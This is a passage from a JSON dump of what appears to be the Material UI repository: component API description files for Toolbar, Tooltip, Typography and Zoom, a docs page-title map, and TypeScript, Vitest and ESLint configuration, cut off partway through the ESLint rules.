\"conditions\": \"<code>orientation=\\\"horizontal\\\"</code>\"\n    },\n    \"lastButton\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the last button in the toggle button group\"\n    },\n    \"middleButton\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"buttons in the middle of the toggle button group\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"selected\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>selected={true}</code>\"\n    },\n    \"vertical\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"vertical\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/toolbar/toolbar.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": {\n      \"description\": \"The Toolbar children, usually a mixture of <code>IconButton</code>, <code>Button</code> and <code>Typography</code>. The Toolbar is a flex container, allowing flex item properties to be used to lay out the children.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"disableGutters\": { \"description\": \"If <code>true</code>, disables gutter padding.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"dense\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"dense\\\"</code>\"\n    },\n    \"gutters\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disableGutters={true}</code>\"\n    },\n    \"regular\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"regular\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/tooltip/tooltip.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"arrow\": { \"description\": \"If <code>true</code>, adds an arrow to the tooltip.\" },\n    \"children\": { \"description\": \"Tooltip reference element.\", \"requiresRef\": true },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"describeChild\": {\n      \"description\": \"Set to <code>true</code> if the <code>title</code> acts as an accessible description. By default the <code>title</code> acts as an accessible label for the child.\"\n    },\n    \"disableFocusListener\": { \"description\": \"Do not respond to focus-visible events.\" },\n    \"disableHoverListener\": { \"description\": \"Do not respond to hover events.\" },\n    \"disableInteractive\": {\n      \"description\": \"Makes a tooltip not interactive, i.e. it will close when the user hovers over the tooltip before the <code>leaveDelay</code> is expired.\"\n    },\n    \"disableTouchListener\": { \"description\": \"Do not respond to long press touch events.\" },\n    \"enterDelay\": {\n      \"description\": \"The number of milliseconds to wait before showing the tooltip. This prop won&#39;t impact the enter touch delay (<code>enterTouchDelay</code>).\"\n    },\n    \"enterNextDelay\": {\n      \"description\": \"The number of milliseconds to wait before showing the tooltip when one was already recently opened.\"\n    },\n    \"enterTouchDelay\": {\n      \"description\": \"The number of milliseconds a user must touch the element before showing the tooltip.\"\n    },\n    \"followCursor\": {\n      \"description\": \"If <code>true</code>, the tooltip follow the cursor over the wrapped element.\"\n    },\n    \"id\": {\n      \"description\": \"This prop is used to help implement the accessibility logic. If you don&#39;t provide this prop. It falls back to a randomly generated id.\"\n    },\n    \"leaveDelay\": {\n      \"description\": \"The number of milliseconds to wait before hiding the tooltip. This prop won&#39;t impact the leave touch delay (<code>leaveTouchDelay</code>).\"\n    },\n    \"leaveTouchDelay\": {\n      \"description\": \"The number of milliseconds after the user stops touching an element before hiding the tooltip.\"\n    },\n    \"onClose\": {\n      \"description\": \"Callback fired when the component requests to be closed.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" }\n      }\n    },\n    \"onOpen\": {\n      \"description\": \"Callback fired when the component requests to be open.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" }\n      }\n    },\n    \"open\": { \"description\": \"If <code>true</code>, the component is shown.\" },\n    \"placement\": { \"description\": \"Tooltip placement.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"title\": {\n      \"description\": \"Tooltip title. Zero-length titles string, undefined, null and false are never displayed.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"popperArrow\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the Popper component\",\n      \"conditions\": \"<code>arrow={true}</code>\"\n    },\n    \"popperClose\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the Popper component\",\n      \"conditions\": \"the tooltip is open\"\n    },\n    \"popperInteractive\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the Popper component\",\n      \"conditions\": \"<code>disableInteractive={true}</code>\"\n    },\n    \"tooltipArrow\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the tooltip (label wrapper) element\",\n      \"conditions\": \"<code>arrow={true}</code>\"\n    },\n    \"tooltipPlacementBottom\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the tooltip (label wrapper) element\",\n      \"conditions\": \"<code>placement</code> contains &quot;bottom&quot;\"\n    },\n    \"tooltipPlacementLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the tooltip (label wrapper) element\",\n      \"conditions\": \"<code>placement</code> contains &quot;left&quot;\"\n    },\n    \"tooltipPlacementRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the tooltip (label wrapper) element\",\n      \"conditions\": \"<code>placement</code> contains &quot;right&quot;\"\n    },\n    \"tooltipPlacementTop\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the tooltip (label wrapper) element\",\n      \"conditions\": \"<code>placement</code> contains &quot;top&quot;\"\n    },\n    \"touch\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the tooltip (label wrapper) element\",\n      \"conditions\": \"the tooltip is opened by touch\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"arrow\": \"The component used for the arrow.\",\n    \"popper\": \"The component used for the popper.\",\n    \"tooltip\": \"The component used for the tooltip.\",\n    \"transition\": \"The component used for the transition. <a href=\\\"https://mui.com/material-ui/transitions/#transitioncomponent-prop\\\">Follow this guide</a> to learn more about the requirements for this component.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/typography/typography.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"align\": { \"description\": \"Set the text-align on the component.\" },\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"gutterBottom\": { \"description\": \"If <code>true</code>, the text will have a bottom margin.\" },\n    \"noWrap\": {\n      \"description\": \"If <code>true</code>, the text will not wrap, but instead will truncate with a text overflow ellipsis.<br>Note that text overflow can only happen with block or inline-block level elements (the element needs to have a width in order to overflow).\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"Applies the theme typography styles.\" },\n    \"variantMapping\": {\n      \"description\": \"The component maps the variant prop to a range of different HTML element types. For instance, subtitle1 to <code>&lt;h6&gt;</code>. If you wish to change that mapping, you can provide your own. Alternatively, you can use the <code>component</code> prop.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"alignCenter\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>align=\\\"center\\\"</code>\"\n    },\n    \"alignJustify\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>align=\\\"justify\\\"</code>\"\n    },\n    \"alignLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>align=\\\"left\\\"</code>\"\n    },\n    \"alignRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>align=\\\"right\\\"</code>\"\n    },\n    \"body1\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"body1\\\"</code>\"\n    },\n    \"body2\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"body2\\\"</code>\"\n    },\n    \"button\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"button\\\"</code>\"\n    },\n    \"caption\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"caption\\\"</code>\"\n    },\n    \"gutterBottom\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>gutterBottom={true}</code>\"\n    },\n    \"h1\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"h1\\\"</code>\"\n    },\n    \"h2\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"h2\\\"</code>\"\n    },\n    \"h3\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"h3\\\"</code>\"\n    },\n    \"h4\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"h4\\\"</code>\"\n    },\n    \"h5\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"h5\\\"</code>\"\n    },\n    \"h6\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"h6\\\"</code>\"\n    },\n    \"inherit\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"inherit\\\"</code>\"\n    },\n    \"noWrap\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>nowrap={true}</code>\"\n    },\n    \"overline\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"overline\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"subtitle1\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"subtitle1\\\"</code>\"\n    },\n    \"subtitle2\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"subtitle2\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/zoom/zoom.json",
    "content": "{\n  \"componentDescription\": \"The Zoom transition can be used for the floating variant of the\\n[Button](/material-ui/react-floating-action-button/#animation) component.\\nIt uses [react-transition-group](https://github.com/reactjs/react-transition-group) internally.\",\n  \"propDescriptions\": {\n    \"addEndListener\": {\n      \"description\": \"Add a custom transition end trigger. Called with the transitioning DOM node and a done callback. Allows for more fine grained transition end logic. Note: Timeouts are still used as a fallback if provided.\"\n    },\n    \"appear\": {\n      \"description\": \"Perform the enter transition when it first mounts if <code>in</code> is also <code>true</code>. Set this to <code>false</code> to disable this behavior.\"\n    },\n    \"children\": { \"description\": \"A single child content element.\", \"requiresRef\": true },\n    \"easing\": {\n      \"description\": \"The transition timing function. You may specify a single easing or a object containing enter and exit values.\"\n    },\n    \"in\": { \"description\": \"If <code>true</code>, the component will transition in.\" },\n    \"timeout\": {\n      \"description\": \"The duration for the transition, in milliseconds. You may specify a single timeout for all transitions, or individually with an object.\"\n    }\n  },\n  \"classDescriptions\": {}\n}\n"
  },
  {
    "path": "docs/translations/translations.json",
    "content": "{\n  \"pages\": {\n    \"/system/getting-started-group\": \"Getting started\",\n    \"/system/getting-started\": \"Overview\",\n    \"/system/getting-started/installation\": \"Installation\",\n    \"/system/getting-started/usage\": \"Usage\",\n    \"/system/getting-started/the-sx-prop\": \"The sx prop\",\n    \"/system/getting-started/custom-components\": \"Custom components\",\n    \"/system/getting-started/support\": \"Support\",\n    \"/style-utilities\": \"Style utilities\",\n    \"/system/properties\": \"Properties\",\n    \"/system/borders\": \"Borders\",\n    \"/system/display\": \"Display\",\n    \"/system/flexbox\": \"Flexbox\",\n    \"/system/grid\": \"Grid\",\n    \"/system/palette\": \"Palette\",\n    \"/system/positions\": \"Positions\",\n    \"/system/shadows\": \"Shadows\",\n    \"/system/sizing\": \"Sizing\",\n    \"/system/spacing\": \"Spacing\",\n    \"/system/screen-readers\": \"Screen readers\",\n    \"/system/typography\": \"Typography\",\n    \"/system/styled\": \"styled\",\n    \"/system/react-\": \"Components\",\n    \"/system/react-box\": \"Box\",\n    \"/system/react-container\": \"Container\",\n    \"/system/react-grid\": \"Grid\",\n    \"/system/react-stack\": \"Stack\",\n    \"/system/migration\": \"Migration\",\n    \"/system/migration/upgrade-to-v9\": \"Upgrade to v9\",\n    \"/system/migration/upgrade-to-v7\": \"Upgrade to v7\",\n    \"/system/migration/migrating-to-v6\": \"Upgrade to v6\",\n    \"/system/experimental-api\": \"Experimental APIs\",\n    \"/system/experimental-api/configure-the-sx-prop\": \"Configure the sx prop\",\n    \"/system/experimental-api/css-theme-variables\": \"CSS Theme Variables\",\n    \"/system/styles\": \"Styles\",\n    \"https://v6.mui.com/system/styles/basics/\": \"Basics\",\n    \"https://v6.mui.com/system/styles/advanced/\": \"Advanced\",\n    \"/material-ui/getting-started-group\": \"Getting started\",\n    \"/material-ui/getting-started\": \"Overview\",\n    \"/material-ui/getting-started/installation\": \"Installation\",\n    \"/material-ui/getting-started/usage\": \"Usage\",\n    \"/material-ui/getting-started/mcp\": \"MCP\",\n    \"/material-ui/llms.txt\": \"llms.txt\",\n    \"/material-ui/getting-started/example-projects\": \"Example projects\",\n    \"/material-ui/getting-started/templates\": \"Templates\",\n    \"/material-ui/getting-started/learn\": \"Learn\",\n    \"/material-ui/getting-started/design-resources\": \"Design resources\",\n    \"/material-ui/getting-started/faq\": \"FAQs\",\n    \"/material-ui/getting-started/supported-components\": \"Supported components\",\n    \"/material-ui/getting-started/supported-platforms\": \"Supported platforms\",\n    \"/material-ui/getting-started/support\": \"Support\",\n    \"/material-ui/react-\": \"Components\",\n    \"/material-ui/all-components\": \"All components\",\n    \"inputs\": \"Inputs\",\n    \"/material-ui/react-autocomplete\": \"Autocomplete\",\n    \"/material-ui/react-button\": \"Button\",\n    \"/material-ui/react-button-group\": \"Button Group\",\n    \"/material-ui/react-checkbox\": \"Checkbox\",\n    \"/material-ui/react-floating-action-button\": \"Floating Action Button\",\n    \"/material-ui/react-number-field\": \"Number Field\",\n    \"/material-ui/react-radio-button\": \"Radio Group\",\n    \"/material-ui/react-rating\": \"Rating\",\n    \"/material-ui/react-select\": \"Select\",\n    \"/material-ui/react-slider\": \"Slider\",\n    \"/material-ui/react-switch\": \"Switch\",\n    \"/material-ui/react-text-field\": \"Text Field\",\n    \"/material-ui/react-transfer-list\": \"Transfer List\",\n    \"/material-ui/react-toggle-button\": \"Toggle Button\",\n    \"data-display\": \"Data display\",\n    \"/material-ui/react-avatar\": \"Avatar\",\n    \"/material-ui/react-badge\": \"Badge\",\n    \"/material-ui/react-chip\": \"Chip\",\n    \"/material-ui/react-divider\": \"Divider\",\n    \"/material-ui/icons\": \"Icons\",\n    \"/material-ui/material-icons\": \"Material Icons\",\n    \"/material-ui/react-list\": \"List\",\n    \"/material-ui/react-table\": \"Table\",\n    \"/material-ui/react-tooltip\": \"Tooltip\",\n    \"/material-ui/react-typography\": \"Typography\",\n    \"feedback\": \"Feedback\",\n    \"/material-ui/react-alert\": \"Alert\",\n    \"/material-ui/react-backdrop\": \"Backdrop\",\n    \"/material-ui/react-dialog\": \"Dialog\",\n    \"/material-ui/react-progress\": \"Progress\",\n    \"/material-ui/react-skeleton\": \"Skeleton\",\n    \"/material-ui/react-snackbar\": \"Snackbar\",\n    \"surfaces\": \"Surfaces\",\n    \"/material-ui/react-accordion\": \"Accordion\",\n    \"/material-ui/react-app-bar\": \"App Bar\",\n    \"/material-ui/react-card\": \"Card\",\n    \"/material-ui/react-paper\": \"Paper\",\n    \"navigation\": \"Navigation\",\n    \"/material-ui/react-bottom-navigation\": \"Bottom Navigation\",\n    \"/material-ui/react-breadcrumbs\": \"Breadcrumbs\",\n    \"/material-ui/react-drawer\": \"Drawer\",\n    \"/material-ui/react-link\": \"Link\",\n    \"/material-ui/react-menu\": \"Menu\",\n    \"/material-ui/react-menubar\": \"Menubar\",\n    \"/material-ui/react-pagination\": \"Pagination\",\n    \"/material-ui/react-speed-dial\": \"Speed Dial\",\n    \"/material-ui/react-stepper\": \"Stepper\",\n    \"/material-ui/react-tabs\": \"Tabs\",\n    \"layout\": \"Layout\",\n    \"/material-ui/react-box\": \"Box\",\n    \"/material-ui/react-container\": \"Container\",\n    \"/material-ui/react-grid\": \"Grid\",\n    \"/material-ui/react-stack\": \"Stack\",\n    \"/material-ui/react-image-list\": \"Image List\",\n    \"utils\": \"Utils\",\n    \"/material-ui/react-click-away-listener\": \"Click-Away Listener\",\n    \"/material-ui/react-css-baseline\": \"CSS Baseline\",\n    \"/material-ui/react-init-color-scheme-script\": \"InitColorSchemeScript\",\n    \"/material-ui/react-modal\": \"Modal\",\n    \"/material-ui/react-no-ssr\": \"No SSR\",\n    \"/material-ui/react-popover\": \"Popover\",\n    \"/material-ui/react-popper\": \"Popper\",\n    \"/material-ui/react-portal\": \"Portal\",\n    \"/material-ui/react-textarea-autosize\": \"Textarea Autosize\",\n    \"/material-ui/transitions\": \"Transitions\",\n    \"/material-ui/react-use-media-query\": \"useMediaQuery\",\n    \"MUI X\": \"MUI X\",\n    \"lab\": \"Lab\",\n    \"/material-ui/about-the-lab\": \"About the lab 🧪\",\n    \"/material-ui/react-masonry\": \"Masonry\",\n    \"/material-ui/react-timeline\": \"Timeline\",\n    \"/material-ui/customization\": \"Customization\",\n    \"/material-ui/customization/how-to-customize\": \"How to customize\",\n    \"/material-ui/customization/overriding-component-structure\": \"Overriding component structure\",\n    \"/material-ui/customization/dark-mode\": \"Dark mode\",\n    \"/material-ui/customization/color\": \"Color\",\n    \"/material-ui/customization/right-to-left\": \"Right-to-left\",\n    \"/material-ui/customization/shadow-dom\": \"Shadow DOM\",\n    \"/material-ui/customization/theme\": \"Theme\",\n    \"/material-ui/customization/default-theme\": \"Default theme viewer\",\n    \"/material-ui/customization/theming\": \"Customizing the theme\",\n    \"/material-ui/customization/creating-themed-components\": \"Creating themed components\",\n    \"/material-ui/customization/theme-components\": \"Components\",\n    \"tokens\": \"Tokens\",\n    \"/material-ui/customization/palette\": \"Palette\",\n    \"/material-ui/customization/typography\": \"Typography\",\n    \"/material-ui/customization/spacing\": \"Spacing\",\n    \"/material-ui/customization/shape\": \"Shape\",\n    \"/material-ui/customization/breakpoints\": \"Breakpoints\",\n    \"/material-ui/customization/container-queries\": \"Container queries\",\n    \"/material-ui/customization/density\": \"Density\",\n    \"/material-ui/customization/z-index\": \"z-index\",\n    \"/material-ui/customization/transitions\": \"Transitions\",\n    \"/material-ui/customization/css-variables\": \"Css variables\",\n    \"/material-ui/customization/css-theme-variables/overview\": \"Overview\",\n    \"/material-ui/customization/css-theme-variables/usage\": \"Basic usage\",\n    \"/material-ui/customization/css-theme-variables/native-color\": \"Native color\",\n    \"/material-ui/customization/css-theme-variables/configuration\": \"Advanced configuration\",\n    \"/material-ui/customization/styles\": \"Styles\",\n    \"/material-ui/customization/css-layers\": \"Cascade layers\",\n    \"/material-ui/guides\": \"How-to guides\",\n    \"/material-ui/guides/building-extensible-themes\": \"Building extensible themes\",\n    \"/material-ui/guides/minimizing-bundle-size\": \"Minimizing bundle size\",\n    \"/material-ui/guides/server-rendering\": \"Server rendering\",\n    \"/material-ui/guides/responsive-ui\": \"Responsive UI\",\n    \"/material-ui/guides/testing\": \"Testing\",\n    \"/material-ui/guides/localization\": \"Localization\",\n    \"/material-ui/guides/typescript\": \"TypeScript\",\n    \"/material-ui/guides/composition\": \"Composition\",\n    \"/material-ui/guides/content-security-policy\": \"Content Security Policy\",\n    \"/material-ui/integrations\": \"Integrations\",\n    \"/material-ui/integrations/tailwindcss/tailwindcss-v4\": \"Tailwind CSS v4 integration\",\n    \"/material-ui/integrations/nextjs\": \"Next.js integration\",\n    \"/material-ui/integrations/routing\": \"Routing libraries\",\n    \"/material-ui/integrations/styled-components\": \"Usage with styled-components\",\n    \"/material-ui/integrations/interoperability\": \"Style library interoperability\",\n    \"/material-ui/integrations/theme-scoping\": \"Theme scoping\",\n    \"/material-ui/experimental-api\": \"Experimental APIs\",\n    \"/material-ui/experimental-api/classname-generator\": \"ClassName generator\",\n    \"/material-ui/experimental-api/pigment-css\": \"Pigment CSS\",\n    \"/material-ui/migration\": \"Migration\",\n    \"/material-ui/migration/upgrade-to-grid-v2\": \"Upgrade to Grid v2\",\n    \"/material-ui/migration/pickers-migration\": \"Migration from @material-ui/pickers\",\n    \"Upgrade to v9\": \"Upgrade to v9\",\n    \"/material-ui/migration/upgrade-to-v9\": \"Upgrade to v9: getting started\",\n    \"Upgrade to v7\": \"Upgrade to v7\",\n    \"/material-ui/migration/upgrade-to-v7\": \"Upgrade to v7: getting started\",\n    \"/material-ui/migration/v7/migrating-from-deprecated-apis\": \"Migrating from deprecated APIs\",\n    \"/material-ui/migration/upgrade-to-native-color\": \"Native color\",\n    \"Upgrade to v6\": \"Upgrade to v6\",\n    \"/material-ui/migration/upgrade-to-v6\": \"Upgrade to v6: getting started\",\n    \"/material-ui/migration/migrating-from-deprecated-apis\": \"Migrating from deprecated APIs\",\n    \"/material-ui/migration/migrating-to-pigment-css\": \"Migrating to Pigment CSS\",\n    \"Upgrade to v5\": \"Upgrade to v5\",\n    \"/material-ui/migration/migration-v4\": \"Migrating to v5: getting started\",\n    \"/material-ui/migration/v5-style-changes\": \"Breaking changes: style and theme\",\n    \"/material-ui/migration/v5-component-changes\": \"Breaking changes: components\",\n    \"/material-ui/migration/migrating-from-jss\": \"Migrating from JSS (optional)\",\n    \"/material-ui/migration/troubleshooting\": \"Troubleshooting\",\n    \"Earlier versions\": \"Earlier versions\",\n    \"/material-ui/migration/migration-v3\": \"Migration from v3 to v4\",\n    \"/material-ui/migration/migration-v0x\": \"Migration from v0.x to v1\",\n    \"/material-ui/discover-more\": \"Discover more\",\n    \"/material-ui/discover-more/showcase\": \"Showcase\",\n    \"/material-ui/discover-more/related-projects\": \"Related projects\",\n    \"/material-ui/discover-more/roadmap\": \"Roadmap\",\n    \"/material-ui/discover-more/backers\": \"Sponsors and Backers\",\n    \"/material-ui/discover-more/vision\": \"Vision\",\n    \"/material-ui/discover-more/changelog\": \"Changelog\",\n    \"/material-ui/design-resources\": \"Design resources\",\n    \"/material-ui/design-resources/material-ui-for-figma\": \"Figma Design Kit\",\n    \"/material-ui/design-resources/material-ui-sync\": \"Figma Sync plugin\",\n    \"https://mui.com/store/?utm_source=docs&utm_medium=referral&utm_campaign=sidenav\": \"Template store\"\n  }\n}\n"
  },
  {
    "path": "docs/tsconfig.json",
    "content": "{\n  \"extends\": \"../tsconfig.json\",\n  \"compilerOptions\": {\n    \"allowJs\": true,\n    \"isolatedModules\": true,\n    \"moduleResolution\": \"bundler\",\n    \"noEmit\": true,\n    \"noUnusedLocals\": true,\n    \"resolveJsonModule\": true,\n    \"skipLibCheck\": true,\n    \"esModuleInterop\": true,\n    \"incremental\": true,\n    \"jsx\": \"preserve\"\n  },\n  \"include\": [\"next-env.d.ts\", \"next.config.ts\", \"types\", \"src\", \"pages\", \"data\"],\n  \"exclude\": [\"docs/.next\", \"docs/export\", \"node_modules\"]\n}\n"
  },
  {
    "path": "docs/types/icons.d.ts",
    "content": "declare module '@mui/icons-material';\ndeclare module '@mui/icons-material/*';\n"
  },
  {
    "path": "docs/types/webpack.d.ts",
    "content": "import '@mui/docs/webpack';\n"
  },
  {
    "path": "docs/vitest.config.browser.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url);\n"
  },
  {
    "path": "docs/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url, { jsdom: true });\n"
  },
  {
    "path": "eslint.config.mjs",
    "content": "import {\n  createBaseConfig,\n  createTestConfig,\n  baseSpecRules,\n  createDocsConfig,\n  EXTENSION_TS,\n  EXTENSION_TEST_FILE,\n  EXTENSION_DTS,\n} from '@mui/internal-code-infra/eslint';\nimport { fixupPluginRules } from '@eslint/compat';\nimport { defineConfig } from 'eslint/config';\nimport eslintPluginConsistentName from 'eslint-plugin-consistent-default-export-name';\nimport * as path from 'node:path';\nimport vitestPlugin from '@vitest/eslint-plugin';\nimport { fileURLToPath } from 'url';\n\nconst filename = fileURLToPath(import.meta.url);\nconst dirname = path.dirname(filename);\n\nconst OneLevelImportMessage = [\n  'Prefer one level nested imports to avoid bundling everything in dev mode or breaking CJS/ESM split.',\n  'See https://github.com/mui/material-ui/pull/24147 for the kind of win it can unlock.',\n].join('\\n');\n// This only applies to packages published from this monorepo.\n// If you build a library around `@mui/material` you can safely use `createStyles` without running into the same issue as we are.\nconst forbidCreateStylesMessage =\n  'Use `MuiStyles<ClassKey, Props>` instead if the styles are exported. Otherwise use `as const` assertions. ' +\n  '`createStyles` will lead to inlined, at-compile-time-resolved type-imports. ' +\n  'See https://github.com/microsoft/TypeScript/issues/36097#issuecomment-578324386 for more information';\n\nconst ENABLE_REACT_COMPILER_PLUGIN = false;\n\nconst NO_RESTRICTED_IMPORTS_PATHS_TOP_LEVEL_PACKAGES = [\n  {\n    name: '@mui/material',\n    message: OneLevelImportMessage,\n  },\n  {\n    name: '@mui/lab',\n    message: OneLevelImportMessage,\n  },\n];\n\nconst NO_RESTRICTED_IMPORTS_PATTERNS_DEEPLY_NESTED = [\n  {\n    group: [\n      '@mui/*/*/*',\n      '@pigment-css/*/*/*',\n      // Allow any import depth with any internal packages\n      '!@mui/internal-*/**',\n      '!@mui/docs/**', // @mui/docs should be @mui/internal-docs\n    ],\n    message: OneLevelImportMessage,\n  },\n];\n\nexport default defineConfig(\n  createBaseConfig({\n    enableReactCompiler: ENABLE_REACT_COMPILER_PLUGIN,\n    baseDirectory: dirname,\n    materialUi: true,\n  }),\n  {\n    name: 'Material UI overrides',\n    files: [`**/*${EXTENSION_TS}`],\n    settings: {\n      'import/resolver': {\n        typescript: {\n          project: ['tsconfig.json'],\n        },\n      },\n      next: {\n        rootDir: 'docs',\n      },\n    },\n    rules: {\n      'import/prefer-default-export': 'error',\n      'mui/straight-quotes': 'error',\n      'no-restricted-imports': [\n        'error',\n        {\n          patterns: NO_RESTRICTED_IMPORTS_PATTERNS_DEEPLY_NESTED,\n        },\n      ],\n      'react/react-in-jsx-scope': 'off',\n      'react/sort-prop-types': 'off', // 228\n      '@typescript-eslint/ban-ts-comment': 'off', // 117\n      '@typescript-eslint/no-require-imports': 'off', // 133\n      'react/jsx-filename-extension': 'off',\n\n      // TODO enable:\n      'react-hooks/refs': 'off',\n      'react-hooks/globals': 'off',\n      'react-hooks/immutability': 'off',\n      'react-hooks/preserve-manual-memoization': 'off',\n      'react-hooks/incompatible-library': 'off',\n      'react-hooks/static-components': 'off',\n      'react-hooks/purity': 'off',\n    },\n  },\n  ...['mui-material', 'mui-system', 'mui-utils', 'mui-lab', 'mui-utils', 'mui-styled-engine'].map(\n    (packageName) => ({\n      files: [`packages/${packageName}/src/**/*${EXTENSION_TEST_FILE}`],\n      ignores: ['**/*.test.*', '**/*.spec.*'],\n      rules: {\n   